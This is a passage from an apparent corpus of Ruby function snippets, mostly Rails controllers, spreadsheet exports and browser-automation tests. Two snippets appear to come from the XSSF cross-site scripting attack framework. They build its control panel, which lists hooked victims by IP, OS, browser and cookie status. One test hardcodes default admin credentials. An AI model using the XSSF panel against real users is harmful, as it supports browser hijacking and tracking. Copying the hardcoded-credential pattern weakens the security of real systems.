printAjaxControlDep\r\n headerContent << printCSS \r\n headerContent << @@headerFile2\r\n @output = \"#{headerContent}\\n#{@bodyContent}\\n#{footerContent}\"\r\n \r\n end", "def create\n @timesheet = Timesheet.new(params[:timesheet])\n\n respond_to do |format|\n #if @timesheet.save\n #flash[:notice] = 'Timesheet was successfully created.'\n #\tformat.html { redirect_to(@timesheet) }\n #format.xml { render :xml => @timesheet, :status => :created, :location => @timesheet }\n #else\n #\tformat.html { render :action => \"new\" }\n #format.xml { render :xml => @timesheet.errors, :status => :unprocessable_entity }\n #end\n\n if @timesheet.save\n #format.html { redirect_to(@timesheet,\t:notice => 'Timesheet was successfully created.') }\n format.html { redirect_to :controller => \"admin/timesheets\", :action => \"show\", :id => @timesheet.id }\n #format.xml { render :xml => @timesheet, :status => :created, :location => @timesheet }\n else\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @timesheet.errors, :status => :unprocessable_entity }\n end\n end\n end", "def open()\n \n #note we would want to check for the browser bing open already\n #so we don't annoy people\n \n event(\"Pre\")\n require 'launchy'\n Launchy.open(\"http://local.general.dev/info.php\") #note this should be from setting file\n event(\"Post\")\n end", "def index\n session[:active_tab] =\"TimeManagement\"\n session[:active_tab1] =\"WeekoffSetup\"\n end", "def create_spreadsheet\n @package = Axlsx::Package.new\n @workbook = @package.workbook\n\n selected_buildings = @report.user_buildings\n\n services_selected = selected_buildings.collect { |b| b.building_json['services'] }.flatten # s.collect { |s| s['code'].gsub('-', '.') }\n services_selected.uniq!\n\n @workbook.add_worksheet(name: 'Building Information') do |sheet|\n # sheet.add_row ['Buildings information']\n i = 0\n [['Buildings information', nil],\n ['Building Type', 'eg. General office - customer facing, non customer facing, call centre operations.'],\n ['Address', ''],\n [nil, nil], [nil, nil], [nil, nil],\n ['GIA', 'Gross Internal Area: Square Metre (GIA) per annum']].each do |label|\n vals = []\n vals << label[0] << label[1] << row(selected_buildings, i)\n vals.flatten!\n sheet.add_row vals\n i += 1\n end\n end\n\n # selected_services = services_selected.map { |s| s['code'].gsub('-', '.') }\n services = @report.list_of_services # @report.selected_services(selected_services)\n uom_values_for_selected_buildings = @report.uom_values(selected_buildings)\n\n uoms = CCS::FM::UnitsOfMeasurement.all.group_by(&:service_usage)\n uom2 = {}\n uoms.map { |u| u[0].each { |k| uom2[k] = u[1] } }\n\n @workbook.add_worksheet(name: 'Service Matrix') do |sheet|\n i = 1\n vals = ['Work Package', 'Service Reference', 'Service Name', 'Unit of Measure']\n selected_buildings.each do |building|\n vals << 'Building ' + i.to_s + ' - ' + building.building_json['name']\n i += 1\n end\n sheet.add_row vals\n\n work_package = ''\n services.sort_by { |s| [s.work_package_code, s.code[s.code.index('.') + 1..-1].to_i] }.each do |s|\n if work_package == s.work_package_code\n label = nil\n else\n label = 'Work Package ' + s.work_package_code + ' - ' + s.work_package.name\n end\n\n work_package = s.work_package_code\n\n vals = [label, s.code, s.name]\n\n vals_v = []\n vals_h = nil\n uom_labels_2d = []\n selected_buildings.each do |building|\n id = building.building_json['id']\n suv = uom_values_for_selected_buildings.select { |v| v['building_id'] == id && v['service_code'] == s.code }\n\n any_suv = uom_values_for_selected_buildings.select { |v| v['service_code'] == s.code }\n\n vals_h = []\n uom_labels = []\n if suv.empty?\n if uom2[s.code]\n uom_labels << uom2[s.code].last.spreadsheet_label\n elsif s.work_package_code == 'A' || s.work_package_code == 'B'\n uom_labels << nil\n elsif s.work_package_code == 'M' || s.work_package_code == 'N'\n uom_labels << 'Percentage of Year 1 Deliverables Value (excluding Management and Corporate Overhead, and Profit) at call-off'\n elsif any_suv.empty?\n uom_labels << 'service (per annum)'\n end\n\n vals_h << nil\n else\n suv.each do |v|\n if v['spreadsheet_label']\n uom_labels << v['spreadsheet_label']\n elsif uom2[s.code]\n uom_labels << uom2[s.code].last.spreadsheet_label\n end\n\n vals_h << v['uom_value']\n end\n end\n vals_v << vals_h\n uom_labels_2d << uom_labels\n rescue StandardError\n vals << '=NA()'\n end\n\n uom_labels_max = uom_labels_2d.max\n\n max_j = vals_v.map(&:length).max\n if max_j\n (0..max_j - 1).each do |j|\n vals << uom_labels_max[j]\n\n (0..vals_v.count - 1).each do |k|\n vals << vals_v[k][j]\n end\n sheet.add_row vals\n\n vals = [nil, s.code, s.name]\n end\n end\n # end\n work_package = s.work_package_code\n end\n end\n\n @workbook.add_worksheet(name: 'Procurement summary') do |sheet|\n date = sheet.styles.add_style(format_code: 'dd mmm yyyy', border: Axlsx::STYLE_THIN_BORDER)\n left_align = sheet.styles.add_style(alignment: { horizontal: :left })\n ccy = sheet.styles.add_style(format_code: '£#,##0')\n\n sheet.add_row ['CCS reference number & date/time of production of this document']\n sheet.add_row\n sheet.add_row ['1. Customer details']\n sheet.add_row ['Name']\n sheet.add_row ['Organisation']\n sheet.add_row ['Position']\n sheet.add_row ['Contact details']\n sheet.add_row\n sheet.add_row ['2. Contract requirements']\n sheet.add_row ['Initial Contract length', @report.contract_length_years, 'years'], style: [nil, nil, left_align]\n sheet.add_row ['Extensions']\n sheet.add_row\n sheet.add_row ['Tupe involvement', @report.tupe_flag]\n sheet.add_row\n sheet.add_row ['Contract start date', @report.start_date&.to_date], style: [nil, date]\n sheet.add_row\n sheet.add_row ['3. Price and sub-lot recommendation']\n sheet.add_row ['Assessed Value', @report.assessed_value], style: [nil, ccy]\n sheet.add_row ['Assessed value estimated accuracy'], style: [nil, ccy]\n sheet.add_row\n sheet.add_row ['Lot recommendation', @report.current_lot]\n sheet.add_row ['Direct award option']\n sheet.add_row\n # sheet.add_row ['4. Supplier Shortlist']\n label = '4. Supplier Shortlist'\n @report.selected_suppliers(@current_lot).each do |supplier|\n sheet.add_row [label, supplier.data['supplier_name']]\n label = nil\n end\n sheet.add_row\n\n # sheet.add_row ['5. Regions summary']\n label = '5. Regions summary'\n FacilitiesManagement::Region.all.select { |region| @data[:posted_locations].include? region.code }.each do |region|\n sheet.add_row [label, region.name]\n label = nil\n end\n sheet.add_row\n\n # sheet.add_row ['6 Services summary']\n # services = FacilitiesManagement::Service.where(code: @data['posted_services'])\n services = @report.list_of_services\n services.sort_by!(&:name)\n label = '6 Services summary'\n services.each do |s|\n sheet.add_row [label, s.name]\n label = nil\n end\n sheet.add_row\n end\n end", "def get_html_stats()\n\t\t\t\thtml = %Q{\n\t\t\t\t\t<html><head>\n\t\t\t\t\t\t<script src=\"#{XSSF_GUI_FILES}swfobject.js\" type=\"text/javascript\"></script>\n\t\t\t\t\t\t<script type=\"text/javascript\">\n\t\t\t\t\t\t\tfunction createXHR() {\n\t\t\t\t\t\t\t\tif (window.XMLHttpRequest) return new XMLHttpRequest();\n\t\t\t \n\t\t\t\t\t\t\t\tif (window.ActiveXObject) {\n\t\t\t\t\t\t\t\t\tvar names = [\"Msxml2.XMLHTTP.6.0\", \"Msxml2.XMLHTTP.3.0\", \"Msxml2.XMLHTTP\", \"Microsoft.XMLHTTP\"];\n\t\t\t\t\t\t\t\t\tfor(var i in names) {\n\t\t\t\t\t\t\t\t\t\ttry{ return new ActiveXObject(names[i]); }\n\t\t\t\t\t\t\t\t\t\tcatch(e){}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tfor i in (1..5)\n\t\t\t\t\thtml << %Q{ \n\t\t\t\t\t\tswfobject.embedSWF(\"#{XSSF_GUI_FILES}ofc.swf\", \"gr#{i}\", \"100%\", \"275\", \"9.0.0\", \"expressInstall.swf\", {\"data-file\":\"#{VICTIM_GUI}?#{PARAM_GUI_JSON}%3Dgr#{i}%26#{PARAM_GUI_PAGE}%3Dstat\"});\n\t\t\t\t\n\t\t\t\t\t\tsetInterval(update#{i}, 3000);\n\t\t\t\t\t\t\n\t\t\t\t\t\tfunction update#{i}() {\n\t\t\t\t\t\t\tchart_#{i} = document.getElementById(\"gr#{i}\");\n\n\t\t\t\t\t\t\txhr#{i} = createXHR();\n\t\t\t\t\t\t\txhr#{i}.open(\"GET\", '#{VICTIM_GUI}?#{PARAM_GUI_JSON}=gr#{i}&#{PARAM_GUI_PAGE}=stat&time=' + escape(new Date().getTime()), true);\n\t\t\t\t\t\t\txhr#{i}.send(null);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\txhr#{i}.onreadystatechange=function() {\tif (xhr#{i}.readyState == 4) { chart_#{i}.load(xhr#{i}.responseText); } }\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tend\n\n\t\t\t\thtml << %Q{\t\t\t\t\t\n\t\t\t\t\t</script>\n\t\t\t\t\t</head><body bgcolor=black style='font-family:monospace'>\n\t\t\t\t\t\t<table width=100% height=95% cellpadding=0 cellspacing=0 cellmargin=0 BORDER>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td><div id=\"gr1\"></div></td><td><div id=\"gr3\"></div></td><td rowspan=2 width=40%><div id=\"gr5\"></div></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td><div id=\"gr2\"></div></td><td><div id=\"gr4\"></div></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t<center><div style=\"color:white\">Charts provided by <a href=\"javascript: top.location='http://teethgrinder.co.uk/open-flash-chart/'\">\"Open Flash Chart\"</a></div></center>\n\t\t\t\t\t</body></html>\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn html\n\t\t\tend", "def invokeRazooSite()\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*firefox\", \n\t\t:url => \"https://www-qarc.razoo.com/login\",\n\t\t:timeout_in_second => 60\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/\"\n\tputs \"Passed. Razoo Site gets invoked successfully!\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "def matter_view\n if params[:col].blank? && params[:dir].blank?\n params.merge!(:col => 'created_at', :dir => 'up')\n end\n sort_column_order\n\t\tset_page_number(188,189,69,params[:status])\n\t\tsession[:referer] = nil\n\t\tdata=params\n # If approved or billed in time or expense entry\n\t\tapproved_or_billed_time_and_expense_entry(data)\n\t\tsession[:current_time_entry] = nil\n # get active team matter\n if(is_access_matter?)\n @matters = Matter.all(:conditions=>\"company_id=#{current_company.id}\",:order=>\"name asc\")\n else\n get_matters\n end\n #load time and expense entry\n\t\tload_time_and_expense_entry(\"matter\",data)\n\n if params[:from].eql?(\"matters\")\n\t\t\t@object = current_company.matters.find(params[:matter_id]) if !params[:matter_id].blank?\n\t\t\tadd_breadcrumb \"Matters\", matters_path\n\t\t\tadd_breadcrumb t(:text_menu_tne), :physical_timeandexpenses_matter_view_path\n\t\telse\n\t\t\tadd_breadcrumb t(:text_menu_tne), :physical_timeandexpenses_calendar_path\n\t\t\tadd_breadcrumb \"Matter Related\", :physical_timeandexpenses_matter_view_path\n\t\tend\n @matter = @object\n \n #Following code added for Feature #8234 - export to excel in all view pages in T & E\n ##Params are stored in instance variable for the generating link for generating excel report\n\t\t@row_headers = [\"T/E\",\"Date\",\"Lawyer Designation / Non-User\",\"Time(HH:MM)\",\"Dur(Hrs)\",\"Rate($)\",\"Activity\",\"Description\",\"Billable (Y/N)\",\"Final Bill Amt($)\",\"Status\"]\n\t\t@report_heads = [@matter.try(:name),params[:start_date],params[:end_date]]\n\t\trespond_to do|format|\n\t\t\tformat.html{}\n\t\t\tformat.xls {\n\t\t\t\tsend_data(LiviaExcelReport.generate_xls_for_time_expenses(@saved_time_entries,@saved_expense_entries,@row_headers,@report_heads,\"matter_view\",@dur_setng_is_one100th),:filename => \"time_expense.xls\", :type => 'application/xls', :disposition => 'inline')\n\t\t\t}\n\t\tend\n if params[:from]==\"matters\"\n render :layout => \"left_with_tabs\"\n else\n render :layout => \"full_screen\"\n end\n\tend", "def browser\n if @browser.nil?\n # puts '[BrowserOperator] Create Internet Explorer'\n @browser = Watir::Browser.new\n @browser.activate\n end\n @browser\n end", "def getIE()\n # allows the calling program direct acces to ie \n return @ie\n end", "def create_report_folder(server_type=\"tomcat\")\r\n result=\"\"\r\n sreeHome_tomcat = SreeHome_tomcat\r\n\r\n begin\r\n filename = sreeHome_tomcat + '\\sree\\WEB-INF\\classes\\repository.xml'\r\n filerename = sreeHome_tomcat + '\\sree\\WEB-INF\\classes\\repository.bak'\r\n\r\n filename_jajp = sreeHome_tomcat + '\\sree\\WEB-INF\\classes\\repository_ja_JP.xml'\r\n filerename_jajp = sreeHome_tomcat + '\\sree\\WEB-INF\\classes\\repository_ja_JP.bak'\r\n \r\n puts sreeHome_tomcat\r\n puts \"repository_jajp.xml size before folder update\"\r\n fs1= File.size?(filename_jajp)\r\n puts fs1\r\n\r\n # default values for the parameter\r\n username=\"su\"\r\n password=\"gw\"\r\n\r\n puts \" open inetsoft report portal\"\r\n @new_ie=Watir::IE.new_window()\r\n @new_ie.goto( sree_url_for(server_type)+\"/EnterpriseManager\" )\r\n @new_ie.wait\r\n\r\n wait_while (30) { !@new_ie.text.include?(\"Administrator:\") }\r\n\r\n @new_ie.text_field(:name, \"admin\").set(username)\r\n @new_ie.text_field(:name, \"passwd\").set(password)\r\n\r\n @new_ie.button(:value, \"Login\").click\r\n wait_while (30) { !@new_ie.text.include?(\"Logout\") }\r\n puts \"### Error: do not find Logout link\" if !@new_ie.text.include?(\"Logout\")\r\n\r\n wait_while (30) { !@new_ie.div(:id, \"tabs\").div(:class, \"isii_JSTabbedPanel\").span(:text, \"Report\").exist?}\r\n @new_ie.div(:id, \"tabs\").div(:class, \"isii_JSTabbedPanel\").span(:text, \"Report\").click\r\n\r\n wait_while (30) { !@new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").text.include?(\"Repository\") }\r\n puts \"### Error: did not see the SREE Repository tree\" if !@new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").text.include?(\"Repository\")\r\n\r\n # todo: implement to click icon to expend report tree\r\n\r\n @new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").frame(:id, \"treeFrame\").div(:class, \"JSTreeLabel\").click\r\n sleep 5\r\n\r\n wait_while (30) { !@new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").frame(:id, \"treeFrame\").button(:id, \"newFolderBtn\").enabled?}\r\n puts \"### Error: New Folder link is not enabled\" if !@new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").frame(:id, \"treeFrame\").button(:id, \"newFolderBtn\").enabled?\r\n\r\n @new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").frame(:id, \"treeFrame\").button(:id, \"newFolderBtn\").click\r\n sleep 5\r\n\r\n # todo: implement to enter report folder name and parent folder\r\n\r\n=begin\r\n @new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").frame(:id, \"propFrame\").frame(:src, \"/sree/EnterpriseManager?op=repletregistry_folder&action=showProperty&folder=Folder1&user=\").text_field(:id, \"name\").set(\"TestFolderOne\")\r\n @new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").frame(:id, \"propFrame\").frame(:src, \"/sree/EnterpriseManager?op=repletregistry_folder&action=showProperty&folder=Folder1&user=\").select_list(:id, \"pFolder\").select_value(\"ClaimCenter\")\r\n @new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").frame(:id, \"propFrame\").frame(:src, \"/sree/EnterpriseManager?op=repletregistry_folder&action=showProperty&folder=Folder4&user=\").button(:id, \"applyBtn1\").click\r\n sleep 20\r\n @new_ie.frame(:src, \"/sree/EnterpriseManager?op=repletregistry_reportsTab\").frame(:id, \"treeFrame\").button(:id, \"deleteBtn\").click_no_wait\r\n popupChecker(@new_ie, \"OK\")\r\n @new_ie.close\r\n=end\r\n\r\n puts \"repository_ja_JP.xml size after folder update\"\r\n fs2= File.size?(filename_jajp)\r\n puts fs2\r\n\r\n if fs1==fs2\r\n result += \"CC-43803 is fixed\"\r\n else\r\n result += \"CC-43803 is not fixed\"\r\n end\r\n\r\n @new_ie.close if @new_ie.exist?\r\n=begin\r\n\r\n # todo: implement to remove newly created folder from EM UI\r\n # workaround to remove the updated repository.xml and rename repository.bak to repository.xml\r\n # The step will run when the jira is fixed\r\n File.delete(filename)\r\n if File.exist?(filename)\r\n puts \"File #{filename} already exists. Not renaming\"\r\n else\r\n puts \" renaming #{filerename} to #{filename}\"\r\n File.rename(filerename, filename)\r\n=end\r\n # workaround to remove the updated repository_ja_JP.xml and rename repository_ja_JP.bak to repository_ja_JP.xml\r\n File.delete(filename_jajp)\r\n sleep 10\r\n if File.exist?(filename_jajp)\r\n puts \"File #{filename_jajp} already exists. Not renaming\"\r\n else\r\n puts \" renaming #{filerename_jajp} to #{filename_jajp}\"\r\n File.rename(filerename_jajp, filename_jajp)\r\n end\r\n rescue\r\n result += \"### Error: problem to #{this_method}: \"+$!.to_s\r\n @new_ie.close if @new_ie.exist?\r\n end\r\n puts result\r\n result\r\n end", "def WebReader(browser,share)\n\n if(!share.CompanySerial.nil?&&!share.ShareSerial.nil?)\n\n browser.goto \"http://www.tase.co.il/Eng/General/Company/Pages/companyHistoryData.aspx?companyID=\"+share.CompanySerial+\"&subDataType=0&shareID=\"+share.ShareSerial rescue notok=true\n sleep 10\n browser.input(value:'rbPeriod3').click\n sleep 1\n browser.input(value:\"Display Data\").click\n sleep 2\n doc=Nokogiri::HTML.parse(browser.html)\n\n tbody=nil\n doc.css('.gridHeader').each{|val|\n x=val.at_css('.titleGridRegNoB')\n if x.text==\"Date\"\n tbody=val.parent\n end\n }\n\n titles=[:Date, :AdjustedClosingPrice, :ClosingPrice, :Change, :OpeningPrice, :BasePrice, :High, :Low, :CapitalListedforTrading, :MarketCap, :Turnover, :Volume, :Trans, :ExType, :ExCoefficient, :IndexAdjustedNoofShares, :IndexAdjustedFreeFloatRate, :LastIANSUpdate]\n index =0\n data=[]\n hash=Hash.new\n tbody.css('tr').drop(1).each{|val|\n val.css('td').each{|item|\n\n if index%titles.count==0\n index=0\n if !hash.empty?\n data.push(hash)\n end\n hash=Hash.new\n end\n if item!=\"\\u00A0\"\n if !item.text.include?(\"%\")&&!item.text.include?(\"/\")\n if item.text.include?(\",\")\n string = item.text.gsub(/[\\s,]/ ,\"\")\n hash[titles[index]]=string.to_f\n else\n hash[titles[index]]=item.text.to_f\n\n end\n else\n hash[titles[index]]=item.text\n end\n else\n hash[titles[index]]=\"\"\n\n end\n index+=1\n }\n }\n share.share_values.update(data)\n\n browser.close\n end\n\n end", "def sheet()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Sheet::SheetRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def index\n @sessions = @machine.sessions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sessions }\n format.xls { send_file XLS.render_xls(@sessions), :filename => 'sessions_listing.xls', :type => \"application/vnd.ms-excel\" }\n end\n end", "def save_as_spreadsheet\n session = GoogleDrive::Session.from_config(\"../config.json\")\n ws = session.spreadsheet_by_key(ENV['SPREADSHEET_KEY']).worksheets[0]\n ws.reload\n i = 0\n n = get_townhall_urls.count\n while i <= 4\n ws[i+1, 1] = @emails[i]\n ws[i+1, 2] = @names_of_town[i]\n i +=1\n end\n ws.save\n end", "def stock_in_google_spreadsheet\n\n # On appelle l'URL comprenant les informations et on y stocke les URL trouvées dans notre hash\n hash = get_all_the_urls_of_val_doise_townhalls('http://www.annuaire-des-mairies.com/val-d-oise.html')\n\n # On se sert d'each_with_index pour récupérer un index incrementé\n # et faire passer chaque clef et valeur associée dans le spreadsheet\n # en faisant démarrer les deux depuis la ligne 2\n hash.each_with_index do |(key, value), index |\n $ws[index+2, 1] = key\n $ws[index+2, 2] = value\n end\n $ws.save\nend", "def get_html_victims()\n\t\t\t\thtml = %Q{\n\t\t\t\t\t<html><body bgcolor=\"#000000\">\n\t\t\t\t\t\t<script type=\"text/javascript\">\n\t\t\t\t\t\t\tvar cache = {};\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tfunction getElementsById(id){\n\t\t\t\t\t\t\t\tif(!cache[id]) {\n\t\t\t\t\t\t\t\t\tvar nodes = [];\tvar tmpNode = document.getElementById(id);\n\t\t\t\t\t\t\t\t\twhile(tmpNode) { nodes.push(tmpNode); tmpNode.id = \"\"; tmpNode = document.getElementById(id); }\n\t\t\t\t\t\t\t\t\tcache[id] = nodes;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn cache[id];\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tfunction doMenu(item) {\n\t\t\t\t\t\t\t\tif (getElementsById(item)[0].style.display == \"none\") {\n\t\t\t\t\t\t\t\t\tfor (var i = 0; i < getElementsById(item).length; i++)\n\t\t\t\t\t\t\t\t\t\tgetElementsById(item)[i].style.display = \"\";\n\t\t\t\t\t\t\t\t\tdocument.getElementById(item + \"x\").innerHTML = \"[-]\";\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tfor (var i = 0; i < getElementsById(item).length; i++)\n\t\t\t\t\t\t\t\t\t\tgetElementsById(item)[i].style.display = \"none\";\n\t\t\t\t\t\t\t\t\tdocument.getElementById(item + \"x\").innerHTML = \"[+]\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t</script>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<table cellpadding=0 cellspacing=0 border=0 width=100% style=\"font-family: monospace\">\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbegin\n\t\t\t\t\tfind_all(XSSF_VICTIM_DB, XSSF_VICTIM_HASH).each do |v|\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\tsecs = (Time.parse((v[XSSF_VICTIM_HASH[\"LAST_REQUEST\"]]).to_s) - Time.parse((v[XSSF_VICTIM_HASH[\"FIRST_REQUEST\"]]).to_s)).to_i;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\thtml << %Q{\n\t\t\t\t\t\t\t\t<tr style=\"color:#{v[XSSF_VICTIM_HASH[\"ACTIVE\"]] ? \"green\" : \"red\"}; font-family: monospace\" align=left>\n\t\t\t\t\t\t\t\t\t<td width=10%><span id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}x\" onClick=\"doMenu('#{v[XSSF_VICTIM_HASH[\"ID\"]]}')\" style=\"cursor:pointer\">[+]</span></td>\n\t\t\t\t\t\t\t\t\t<td width=35%><span onClick=\"parent.fr2.location='#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=logs&#{PARAM_GUI_VICTIMID}=#{v[XSSF_VICTIM_HASH[\"ID\"]]}'; parent.fr3.location='#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=attack'\" style=\"cursor:pointer\"><b>Victim #{v[XSSF_VICTIM_HASH[\"ID\"]]}</b></span></td>\n\t\t\t\t\t\t\t\t\t<td width=35%><span onClick=\"parent.fr2.location='#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=logs&#{PARAM_GUI_VICTIMID}=#{v[XSSF_VICTIM_HASH[\"ID\"]]}'; parent.fr3.location='#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=attack'\" style=\"cursor:pointer\"><b>#{v[XSSF_VICTIM_HASH[\"IP\"]]}</b></span></td>\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcase v[XSSF_VICTIM_HASH[\"OS_NAME\"]]\n\t\t\t\t\t\t\t\twhen /Windows/i\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}win.png\" alt=\"Windows\" /></td>}\n\t\t\t\t\t\t\t\twhen /Linux/i\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}lin.png\" alt=\"Linux\" /></td>}\n\t\t\t\t\t\t\t\twhen /MAX OSX/i\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}osx.png\" alt=\"MAX OSX\" /></td>}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}unknown.png\" alt=\"Unknown\" /></td>}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcase v[XSSF_VICTIM_HASH[\"BROWSER_NAME\"]]\n\t\t\t\t\t\t\t\twhen /SAFARI/i\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}safari.png\" alt=\"SAFARI\" /></td>}\n\t\t\t\t\t\t\t\twhen /Firefox/i\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}ff.png\" alt=\"Firefox\" /></td>}\n\t\t\t\t\t\t\t\twhen /Internet Explorer/i\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}ie.png\" alt=\"Internet Explorer\" /></td>}\n\t\t\t\t\t\t\t\twhen /Google Chrome/i\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}chrome.png\" alt=\"Chrome\" /></td>}\n\t\t\t\t\t\t\t\twhen /Opera/i\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}opera.png\" alt=\"Opera\" /></td>}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\thtml << %Q{<td width=10% align=center><img width=\"25px\" src=\"#{XSSF_GUI_FILES}unknown.png\" alt=\"Unknown\" /></td>}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t\t\thtml << %Q{\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">Active ?</div></td>\t\t\t<td COLSPAN=3 style=\"color:purple;\">#{v[XSSF_VICTIM_HASH[\"ACTIVE\"]] ? \"TRUE\" : \"FALSE\"}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">IP Address</div></td>\t\t\t<td COLSPAN=3 style=\"color:purple;\">#{v[XSSF_VICTIM_HASH[\"IP\"]]}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">OS Name</div></td>\t\t\t<td COLSPAN=3 style=\"color:purple;\">#{v[XSSF_VICTIM_HASH[\"OS_NAME\"]]}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none;\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">OS Version</div></td>\t\t\t<td COLSPAN=3 style=\"color:purple;\">#{v[XSSF_VICTIM_HASH[\"OS_VERSION\"]]}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">Architecture</div></td>\t\t<td COLSPAN=3 style=\"color:purple;\">#{v[XSSF_VICTIM_HASH[\"ARCH\"]]}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">Browser name</div></td>\t\t<td COLSPAN=3 style=\"color:purple;\">#{v[XSSF_VICTIM_HASH[\"BROWSER_NAME\"]]}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">Browser version</div></td>\t\t<td COLSPAN=3 style=\"color:purple;\">#{v[XSSF_VICTIM_HASH[\"BROWSER_VERSION\"]]}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">Location</div></td>\t\t\t<td COLSPAN=3 style=\"color:purple;\"><span onclick=\"window.open('#{v[XSSF_VICTIM_HASH[\"LOCATION\"]]}')\" style=\"cursor:pointer\"><u>Go!</u></span></td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">XSSF cookie ?</div></td>\t\t<td COLSPAN=3 